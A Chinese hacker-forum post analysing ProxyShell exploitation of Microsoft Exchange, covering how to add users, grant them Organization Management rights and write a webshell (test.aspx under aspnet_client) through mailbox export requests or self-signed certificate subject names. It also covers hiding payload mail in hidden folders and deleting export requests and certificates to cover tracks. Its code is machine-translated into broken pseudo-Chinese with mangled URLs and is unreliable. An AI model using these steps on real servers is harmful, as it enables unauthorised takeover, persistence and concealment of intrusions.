跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

ProxyShell利用分析3——添加用户和文件写入

精选回复

发布于

0x00 前言

本文将要介绍ProxyShell中添加用户和文件写入的细节,分析利用思路。

0x01 简介

本文将要介绍以下内容:

添加用户的方法

文件写入的方法

利用分析

0x02 添加用户的方法

使用PyPSRP执行Powershell命令时,无法执行添加用户的操作

这是因为传递密码的值时需要执行Powershell命令转换为安全字符串,而转换到安全字符串不是Exchange PowerShell远程处理支持的命令

解决方法可以参考柑橘的思路,通过调用本地Powershell,最终实现添加用户

参考资料:

https://www。零日启动。com/blog/2021/8/17/from-pw N2 own-2021-a-new-attack-surface-on-Microsoft-exchange-proxy shell

需要注意以下细节:

1.通过Flask建立本地代理服务器

代码可参考:

https://要点。githubusercontent。com/zdi-team/087026 b 241 df 18102 db 699 Fe 4 a3 d 9282/raw/ab 4 E1 ECB 6 e 0234 C2 e 319 BC 229 c 71 f 2 F4 f 70 b 55d 9/P2O-温哥华-2021-ProxyShell-snippet-7.py

在Python3环境下,需要将request.headers.iteritems()修改为request.headers.items()

如果遇到负载均衡,可以对返回状态码进行判断,如果返回状态码不是200,重新发送数据包

第28行到第34行可以替换成以下代码:

虽然正确:

r=requests.post(powershell_url,data=data,headers=req_headers,verify=False)

如果r .状态代码==200:

print('[]' r . headers[' X-CalculatedBETarget '])

破裂

否则:

打印('[-]' r . headers[' X-calculated beta get '])

req_headers={}

对于r.headers.items()中的k,v:

如果k在['内容编码','内容长度','传输编码]中:

继续

req_headers[k]=v

返回r .内容,r .状态代码,请求标题

2.调用本地Powershell

命令可参考:

https://要点。githubusercontent。com/zdi-team/a2eb 014d 248 E4 e 54 a2 ab 4 ba 4 AE 3a C3 cf/raw/af 251 aefc 37 a 47489 f 43128832798 a 210393013 a/P2O-温哥华-2021-ProxyShell-snippet-8.ps1

在调用本地Powershell命令前,系统需要做以下设置:

(1)设置网络位置

不能选择公共网络,需要家庭网络或者工作网络

(2)设置管理员用户的密码

确保管理员用户设置了密码

(3)开启winrm服务

winrm快速配置

(4)修改allowunencrypted属性

Powershell命令如下:

CD ws man:\本地主机\客户端

器械包项目allowunencrypted $true

目录

(5)设置TrustedHosts

Powershell命令如下:

get-Item ws man:\ localhost \ Client \可信主机

set-Item ws man:\ localhost \ Client \ trusted hosts-Value ' * '

以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令

添加用户的操作需要传入安全措施,这里可以使用-参数列表参数传入

添加用户的命令示例:

$ pwd=convert to-secure string password 123-asplaintext-force;

$ command={ New-Mailbox-UserPrincipalName test user 1 @ test . com-OrganizationalUnit test.com/Users-别名测试用户1-名称测试用户1-显示名称测试用户1-密码$ args[0];}

invoke-Command-Session $ Session-script block $ Command-argument list $ pwd

添加管理员用户的命令示例:

$command={Add-RoleGroupMember '组织管理-成员testuser 1-BypassSecurityGroupManagerCheck }

调用-命令-会话$会话-脚本块$命令

0x03 文件写入的方法

1.通过New-MailboxExportRequest写入文件

New-MailboxExportRequest用于导出邮件,相关用法可以参考之前的文章《渗透基础——从Exchange服务器上搜索和导出邮件》

在写入文件时,需要注意以下问题:

(1)用户需要添加到角色组”Mailbox Import Export”中

添加用户到角色组"邮箱导入导出"的命令示例:

新-管理角色分配角色"邮箱导入导出"用户管理员

移除用户的命令示例:

“删除-管理角色分配-身份”邮箱导入导出-管理员-确认:$false

查看角色组"邮箱导入导出"中用户的命令示例:

get-管理角色分配-角色'邮箱导入导出" |fl用户

(2)通过邮件传递Payload

这里有以下两种方法:

1.从外部邮箱向目标邮箱发送带有有效载荷的邮件

2.利用CVE-2021-34473模拟任意邮箱用户,将带有有效载荷的邮件保存至指定文件夹

对于方法2,为了提高隐蔽性,在保存带有效载荷的邮件时,可以先创建一个隐藏文件夹,然后再保存。详情请参考之前的文章《渗透基础——Exchange用户邮箱中的隐藏文件夹》。

(3)写入文件

为了准确的写净荷,避免意外错误,在写邮件的时候需要加一个限定,只导出带净荷的邮件。

导出邮件的命令示例:

new-MailboxexportRequest-mailbox ' test1 '-content filter {(body-like ' payload Flag ')}-file path(' \ \ 127 . 0 . 0 . 1 \ c $ \ inetpub \ wwwroot \ aspnet _ client \ test . aspx ')

(4)清除导出请求

当执行New-MailboxexportRequest命令导出时,会自动保存导出请求的记录,默认为30天。

如果不想保存导出请求,可以添加参数-completedrequestaglimit0。

补充:关于导出请求的相关操作

查看邮件导出请求:

Get-MailboxExportRequest

删除特定的导出请求:

remove-MailboxExportRequest-request queue '邮箱数据库11111111111 '-request guid 11111111-1111-111111111-Confirm:$ false

remove-MailboxExportRequest-Identity ' test . com/Users/test1 \ mailbox export '-Confirm:$ false

注:

的匹配参数从Get-MailboxExportRequest|fl的结果中获得。

删除所有导出请求:

get-MailboxExportRequest | Remove-MailboxExportRequest-Confirm:$ false

2.通过New-ExchangeCertificate写入文件

New-ExchangeCertificate用于创建和续订自签名证书。

最早的公开利用方法在cve-2020-17083中,参考:

https://srcincite.io/pocs/cve-2020-17083.ps1.txt

(1)传递Payload

有效负载通过SubjectName参数传入,该参数需要符合特定的语法。参考资料:

https://docs . Microsoft . com/zh-cn/powershell/module/exchange/new-exchange certificate?view=exchange-ps

简而言之,需要注意以下问题:

可以使用固定格式:CN=Payload。

不能包含这三个特殊字符:

如果选择Jscript作为有效负载,您可以首先对代码进行Base64编码以避免特殊字符。

写的时候,如果返回的内容是微软。Exchange.data.binary FileData对象,表示写入成功。

(2)清除证书

读取所有证书的命令示例:

Get-ExchangeCertificate

指定特征证书的命令示例:

get-exchange certificate | Where-Object-Property Subject-like ' CN=“% @ *”

删除指定证书的命令示例:

remove-exchange certificate-指纹11111111111111111111111111111111111-确认:$false

get-exchange certificate | Where-Object-Property Subject-like ' CN=' % @ * ' | Remove-exchange certificate-Confirm:$ false

0x04 小结

在ProxyShell的研究过程中,我产生了很多新的想法,以后会在合适的机会分享。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。